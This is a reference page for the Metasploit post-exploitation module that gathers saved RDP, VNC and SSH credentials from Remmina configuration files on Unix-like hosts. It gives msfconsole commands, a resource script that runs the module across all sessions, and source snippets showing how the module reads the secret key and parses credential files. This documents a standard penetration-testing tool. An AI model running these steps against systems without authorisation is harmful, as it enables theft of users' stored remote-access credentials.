UNIX Gather Remmina Credentials - Metasploit


This page contains detailed information about how to use the post/multi/gather/remmina_creds metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: UNIX Gather Remmina Credentials
Module: post/multi/gather/remmina_creds
Source code: modules/post/multi/gather/remmina_creds.rb
Disclosure date: -
Last modification time: 2021-02-19 20:35:33 +0000
Supported architecture(s): -
Supported platform(s): BSD, Linux, OSX, Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: -

Post module to obtain credentials saved for RDP and VNC from Remmina's configuration files. These are encrypted with 3DES using a 256-bit key generated by Remmina which is (by design) stored in (relatively) plain text in a file that must be properly protected.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/multi/gather/remmina_creds

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/multi/gather/remmina_creds
msf post(remmina_creds) > show options
    ... show and set options ...
msf post(remmina_creds) > set SESSION session-id
msf post(remmina_creds) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/multi/gather/remmina_creds")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

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Msfconsole Usage

Here is how the multi/gather/remmina_creds post exploitation module looks in the msfconsole:

msf6 > use post/multi/gather/remmina_creds

msf6 post(multi/gather/remmina_creds) > show info

       Name: UNIX Gather Remmina Credentials
     Module: post/multi/gather/remmina_creds
   Platform: BSD, Linux, OSX, Unix
       Arch: 
       Rank: Normal

Provided by:
  Jon Hart <[email protected]>

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  Post module to obtain credentials saved for RDP and VNC from 
  Remmina's configuration files. These are encrypted with 3DES using a 
  256-bit key generated by Remmina which is (by design) stored in 
  (relatively) plain text in a file that must be properly protected.

Module Options

This is a complete list of options available in the multi/gather/remmina_creds post exploitation module:

msf6 post(multi/gather/remmina_creds) > show options

Module options (post/multi/gather/remmina_creds):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options

Here is a complete list of advanced options supported by the multi/gather/remmina_creds post exploitation module:

msf6 post(multi/gather/remmina_creds) > show advanced

Module advanced options (post/multi/gather/remmina_creds):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the multi/gather/remmina_creds module can do:

msf6 post(multi/gather/remmina_creds) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the multi/gather/remmina_creds post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(multi/gather/remmina_creds) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No Reminna credentials collected

Here is a relevant code snippet related to the "No Reminna credentials collected" error message:

25:	
26:	  def run
27:	    creds = extract_all_creds
28:	    creds.uniq!
29:	    if creds.empty?
30:	      vprint_status('No Reminna credentials collected')
31:	    else
32:	      vprint_good("Collected #{creds.size} sets of Remmina credentials")
33:	      cred_table = Rex::Text::Table.new(
34:	        'Header'  => 'Remmina Credentials',
35:	        'Indent'  => 1,

No user directories found

Here is a relevant code snippet related to the "No user directories found" error message:

64:	  # Extracts all remmina creds found anywhere on the target
65:	  def extract_all_creds
66:	    creds = []
67:	    user_dirs = enum_user_directories
68:	    if user_dirs.empty?
69:	      print_error('No user directories found')
70:	      return creds
71:	    end
72:	
73:	    vprint_status("Searching for Remmina creds in #{user_dirs.size} user directories")
74:	    # walk through each user directory

No Remmina secret key found in <PREF_FILE>

Here is a relevant code snippet related to the "No Remmina secret key found in <PREF_FILE>" error message:

81:	      next if remmina_prefs.empty?
82:	
83:	      if (secret = remmina_prefs['secret'])
84:	        vprint_status("Extracted secret #{secret} from #{pref_file}")
85:	      else
86:	        print_error("No Remmina secret key found in #{pref_file}")
87:	        next
88:	      end
89:	
90:	      # look for any  \d+\.remmina files which contain the creds
91:	      cred_files = dir(remmina_dir).map do |entry|

No Remmina credential files in <REMMINA_DIR>

Here is a relevant code snippet related to the "No Remmina credential files in <REMMINA_DIR>" error message:

92:	        ::File.join(remmina_dir, entry) if entry =~ /^\d+\.remmina$/
93:	      end
94:	      cred_files.compact!
95:	
96:	      if cred_files.empty?
97:	        vprint_status("No Remmina credential files in #{remmina_dir}")
98:	      else
99:	        creds |= extract_creds(secret, cred_files)
100:	      end
101:	    end
102:

Unsupported protocol: <PROTO>

Here is a relevant code snippet related to the "Unsupported protocol: <PROTO>" error message:

128:	        # XXX: in my testing, the box to save SSH passwords was disabled
129:	        # so this may never work
130:	        user = settings['ssh_username']
131:	        port = 22
132:	      else
133:	        print_error("Unsupported protocol: #{proto}")
134:	        next
135:	      end
136:	
137:	      # get the password
138:	      encrypted_password = settings['password']

No <VALUE> in <FILE>

Here is a relevant code snippet related to the "No <VALUE> in <FILE>" error message:

146:	      else
147:	        missing = []
148:	        missing << 'host' unless host
149:	        missing << 'user' unless user
150:	        missing << 'password' unless password
151:	        vprint_error("No #{missing.join(',')} in #{file}")
152:	      end
153:	    end
154:	
155:	    creds
156:	  end

No settings found in <FILE>

Here is a relevant code snippet related to the "No settings found in <FILE>" error message:

162:	      if /^\s*(?<setting>[^#][^=]+)=(?<value>.*)/ =~ line
163:	        settings[setting] = value
164:	      end
165:	    end
166:	
167:	    vprint_error("No settings found in #{file}") if settings.empty?
168:	    settings
169:	  end
170:	
171:	  def report_credential(user,  pass)
172:	    credential_data = {

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See Also

Check also the following modules related to this module:

Authors

  • Jon Hart <jon_hart[at]rapid7.com>

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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